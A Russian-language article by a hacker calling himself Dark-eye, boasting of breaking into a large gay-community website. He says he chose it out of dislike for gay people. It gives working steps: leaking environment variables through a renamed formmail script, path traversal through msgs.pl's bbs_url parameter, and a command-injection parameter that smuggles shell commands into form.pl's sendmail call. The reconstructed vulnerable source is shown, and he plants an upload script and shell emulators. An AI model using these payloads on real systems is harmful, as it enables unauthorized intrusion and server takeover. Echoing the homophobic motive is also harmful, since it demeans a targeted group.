Базы данныхИнтернетКомпьютерыОперационные системыПрограммированиеСетиСвязьРазное
Поиск по сайту:
Подпишись на рассылку:

Назад в раздел

Опять CGI...

hack CGI
Опять CGI...

Итак, что есть баги в cgi-скриптах? При попытке найти ответ на этот вопрос сразу возникает множество других вопросов, как то: что собой представляют эти баги? как они ищутся? cуществуют ли какие-нибудь стандартные пути их поиска? и т.д. Данная статья, возможно, прояснит большую часть таких вопросов, т.к. она представляет собой описание взлома, костяком которого именно и стал поиск и последующее использование этих самых багов. Ну, что можно сказать для начала? Так как cgi-скрипты являются практически самостоятельными программами, то для его анализа на наличие багов необходимо знать язык, на котором он написан. Все скрипты, о которых идёт речь в статье, созданы при помощи перла (как и 80%-90% всех существующих в интернете cgi-скриптов), поэтому для нормального понимания неплохо было бы хотя бы чуть-чуть знать этот язык. Итак, после этого коротенького предисловия, как говорится, перейдём к делу. Однажды вечером (о! как часто встречается подобное начало) при заходе на один крупный сайт посвящённый геям, вдруг появилась навязчивая идея посмотреть, как обстоят дела с безопасностью у этого сайта (ну не люблю я тех, в честь кого был создан сайт). CGI-сканирование не дало никаких результатов, за исключением файла robots.txt, в котором и так никакой ценной инфы не лежало. Сканирование портов - тоже. Оставалось только, как это и бывает, когда дело касается круных сайтов, полазить по нему и посмотреть, что за скрипты у них там есть и т.д.BlackWidow никаких скриптов не нашла - сказывалось пагубное влияние robots.txt, а вручную просматривать несколько тысяч страниц не хотелось. Выход был найден, и им оказался TeleportPro. Если кто не знает, то эта программа предназначена для скачивания сайтов. В общем, оставил я её на пару часов заниматься делом, для которого она собственно и предназначена - на скачку сайта. После окончания её работы, путём поиска по содержимому файлов, я выявил файлы, в которых встречались слова типа cgi, pl, php и т.д. Получился у меня достаточно внушительный списочек, состоящий примерно из сорока наименований:

/cgi-bin/advert/sputnik.pl?iframe;member=gay
/cgi-bin/to_koi.pl
/cgi-bin/advert/sputnik.pl?member=gay;banner=NonSSI;page=01
/cgi-bin/msgs/msgs.pl?messages=1
/cgi-bin/msgs/msgs.pl?messages=1&bbs_url=http://www.host.com/file.htm
/cgi-bin/bbs_idea.pl
/cgi-bin/bbs_work.pl
/cgi-bin/bbs_app.pl
/cgi-bin/bbs_net.pl
/cgi-bin/bbsg.pl
/cgi-bin/bbsb.pl
/cgi-bin/bbsa.pl
/cgi-bin/bbsae.pl
/cgi-bin/bbsl.pl
/cgi-bin/bbst.pl
/cgi-bin/h2search.pl?what=
/cgi-bin/advert/sputnik.pl?banner=none
/cgi-bin/bbs_aw.pl
/cgi-bin/advert/sputnik.pl?iframe;member=none
/cgi-bin/bbs_ap.pl
/cgi-bin/xform.pl
/cgi-bin/form.pl
/cgi-bin/advert/sputnik.pl?iframe;member=none
/cgi-bin/advert/sputnik.pl?member=none;banner=NonSSI;page=01
/cgi-bin/advert/sputnik.pl?iframe;member=noner
/cgi-bin/pcard/select-postcard.pl?id=111
/cgi/php/weekq_mainpage.php3
/cgi/gliws.pl/templates/gliws
/cgi-bin/mailto00.pl
/cgi-bin/search/search.pl
/cgi-bin/ban.pl

Получив этот список, я начал тыкаться по очереди в каждый скрипт. Тут обнаружилась одна интересная вещь: информация, выдаваемая скриптом /cgi-bin/xform.pl, очень была похожа на инфу, которую выдаёт всем известный скрипт formmail.pl. Кстати, именно так и оказалось: xform.pl - это был просто переименованный formmail.pl версии 1.6. Версия 1.6 не обладала дырой, которая была у первой версии этого скрипта, кстати, именно из-за чего он и был пощён практически во все базы cgi-сканнеров. Но всё равно, это было лучше, чем ничего, т.к. можно было хотя бы достать исходник скрипта и изучить его, чем я и занялся. При первом просмотре исходника ничего подозрительно в нём не оказалось. Но тут я обратил внимание на несколько интересных фрагментов:

@Env_Report = split(/,/,$Config{'env_report'});
# Хэш %Config обозначает данные, введённые формой, а env-report - один из параметров формы.

open(MAIL,"|$mailprog -t");
print MAIL "To: $Config{'recipient'}n";
print MAIL "From: $Config{'email'} ($Config{'realname'})n";
# Отсылка почты по указанному юзером в форме мылу.

foreach $env_report (@Env_Report)
{
        if ($ENV{$env_report})
        {
                print MAIL "$env_report: $ENV{$env_report}n";
        }
}
#Самое главное из этих фрагментов - на своё мыло вместе с письмом можно получить любую переменную окружения, какую мы укажем в форме в качестве значения параметра "env_report".

Пока данная дырка мне не давала ничего, но это только пока... После обнаружения этой дыры я полез изучать другие скрипты, указанные в списке, и тут я вышел на ещё один интересный скриптик, который, по сути дела, и стал обладателем "решающей дыры" в этом взломе. А выглядело это так: ткнулся я по такому URL:

/cgi-bin/msgs/msgs.pl?messages=1&bbs_url=http://www.server.com/file.htm

Ну..., подумал я, похоже попал на скриптик, осуществляющий proxy-функции, т.е. сам скачивает и передаёт нам URL, который мы указали ему с параметром "bbs_url". Испытаем... Поставил я вместо http://www.server.com/file.htm свой URL - http://www.rambler.ru. На этот запрос скрипт ругнулся, причём ругнулся очень приятным для меня сообщением:

File "/bhome/part1/02/host/www/http://www.rambler.ru" not found

Выходит, я теперь могу прочитать любой файл на web-сервере, доступный мне по полномочиям. Набираю URL:

msgs.pl?messages=1&bbs_url=../cgi-bin/msgs/msgs.pl

и получаю ответ:

File "/bhome/part1/02/gay/www/../cgi-bin/msgs/msgs.pl" not found

Виртуальная папка cgi-bin на самом деле называлась по другому, и этого настоящего имени я не знал.... И вот тут мне на помощь пришла недавно обнаруженная дырочка в xform.pl (aka formmail.pl). Ввожу в качестве переменной окружения, которую мне надо узнать, SCRIPT_FILENAME и получаю в свой почтовы ящик письмо:

SCRIPT_FILENAME: /bhome/part1/02/host/vcgi/xform.pl

Ага! теперь местонахождение виртуальной папки cgi-bin известно - vcgi. И теперь пробую такой URL:

msgs.pl?messages=1&bbs_url=../vcgi/msgs/msgs.pl

И вот, я уже читаю исходник этого скрипта... Но ничего интересного в этом скрипте не оказалось, как и почти во всех остальных. Чтобы понять это понадобилось много времени (скриптов в списке предостаточно, как вы сами, надеюсь, заметили). Но один скриптик оказался дырявым - скрипт form.pl (не путайте с xform.pl). Вот, каким был его исходник в тот момент времени:


#!/usr/local/bin/perl -w
# Code reconstruction by Dark-eye :-))
use strict;
use CGI qw/:cgi/;

sub bail
{  my $error = shift;
    print "Content-type: text/html<html>nn<body><center><h1>Unexpected Error Occured</h1><p>$error</body></html>n";
    die $error;
}

my($list,@list);
my $tmpFile=time;
$tmpFile.="f.tmp";
my $current=CGI->new();
if($current->param('ac'))
{  my $email=$current->param('email');
    my $on=$current->param('page_sub');
    my $off=$current->param('page_unsub');
    my $erremail=$current->param('page_err_email');
    my $gen=$current->param('page_err');
    if($email!~/.+@.+..+/ || $email=~/^./)
    {  print "Location: $erremailnn";
        exit 0;
    }
    foreach $list ($current->param())
        {push( @list, $1 ) if $list=~/^auto_(.+)/ }
    # bail(join("<br>",@list));
    unless(@list)
    {  print "Location: $genrnrn";
       exit 0;
    }
    foreach $list (@list)
    {  unlink $tmpFile;
        open( TMP, ">$tmpFile") || bail("Error: $!n");
        print TMP "Subject: n";
        print TMP "From: <$email>n";
        if($current->param('code') eq "translit")
            {$list.="_eng";}
        if($current->param('ac') eq "on")
            {$list.="-on";}
        else
            {$list.="-off";}
        print TMP "To: <$list@server.ru>n";
        print TMP "n";
        close(TMP);
        #system("/usr/sbin/sendmail $list@server.ru < $tmpFile") && bail("System error: $!n");
        system("/usr/sbin/sendmail $list@server.ru < $tmpFile");
        #system("/usr/lib/sendmail admin@server.ru < $tmpFile");
        unlink $tmpFile;
     }
     if($current->param('ac') eq "on")
         {print "Location: $onrnrn";}
     else
         {print "Location: $offrnrn";}
}
else
    {bail("Error: $!n");}


Работу всего скрипта объяснять не буду - те, кому это надо, сами разберутся. Остановлюсь только на ключевых моментах. Итак, сразу скажу в чём дырка. Если вместе с формой скрипту передаются параметры, имя которых начинается с "auto_", то всё, что идёт после "auto_", заносится в массив @list. Оригинально, правда?:

foreach $list ($current->param())
{
        push( @list, $1 ) if $list=~/^auto_(.+)/
}

Допустим, скрипту передаётся параметр "auto_mama+papa=me". В переменную $list[0] занесётся mama+papa.

Далее, в коде есть такая вещь:

system("/usr/sbin/sendmail $list@server.ru < $tmpFile");

Ну тут, только слепой не заметит дырку. Если мы передадим скрипту параметр
auto_me@mail.ru < form.pl; echo FuckYou! >fuck.txt; mail none;", то получится такая штука:

system("/usr/sbin/sendmail me@mail.ru <form.pl; echo FuckYou! >fuck.txt; mail none@server.ru <$tmpFile");

No comments, и этим всё сказано... Кому непонятно поясню, что благодаря этому багу у нас появилась возможность выполнить любую комманду с полномочиями web-сервера. Для этого необходимо передать скрипту фальшивый параметр, который внутри скрипта используется для составления mail-адреса, при отправки письма. Остаётся только подставить этот фальшивый параметр вместо настоящего и "отправить письмецо". Далее, при помощи комманды 'echo' я собрал на серваке небольшой php-скрипт для закачки файлов. Так как обычные ASCII-файлы в DOS- и UNIX-форматах выглядят немного по-разному (работал я в виндах), а мне надо было закачать на сервер несколько своих скриптиков (эмуляторы шелла для более эффективной работы и т.д.), то пришлось быстренько сваять програмку для перевода текста из DOS'овского формата в UNIX'овский:


#pragma hdrstop
#include <condefs.h>
#include <fstream.h>
#include <conio.h>
//---------------------------------------------------------------------------
#pragma argsused
int main(int argc, char* argv[])
{
        printf ("Written by Dark-eyenDOS text to UNIX text convertern");
        if (argc < 3)
        {
                printf ("nUsing:n dos2unix.exe <source file> <target file>");
                return 0;
        }
        ifstream source(argv[1], ios::binary);
        ofstream target(argv[2], ios::binary);
        source.seekg(0, ifstream::end);
        char cursym;
        int source_len = source.tellg();
        source.seekg(0);
        for (int i=0; i < source_len; i++)
        {
                source.get(cursym);
                if (cursym == 'x0d')
                        continue;
                target.put(cursym);
        }
        return 0;
}


...обработал ею файлы и всё.... сервер был наш. Что же можно сказать под конец про этот взлом? Он оказался далеко не таким простым, как могло бы многим показаться после прочтения. На его протяжении, что по статье практически не видно, пришлось много экспериментировать со скриптами, не владея их исходниками, а, получив исходники, пришлось проанализировать оных ну никак не меньше пятнадцати, а это, согласитесь, не мало. Но усилия, как вы видите, не оказались напрасными.....
И один совет напоследок адмнинистраторам сайтов: потщательнее пишите и проверяйте скрипты, которые собираетесь ставить у себя на сайте, так как наличие терпения и хотя бы капли сообразительности у взломщика и бага в скрипте может привести к очень непрятным для вас последствиям.

Dark-eye.

dark-eye@mail.com



  • Главная
  • Новости
  • Новинки
  • Скрипты
  • Форум
  • Ссылки
  • О сайте




  • Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!
     Copyright © 2001-2024
    Реклама на сайте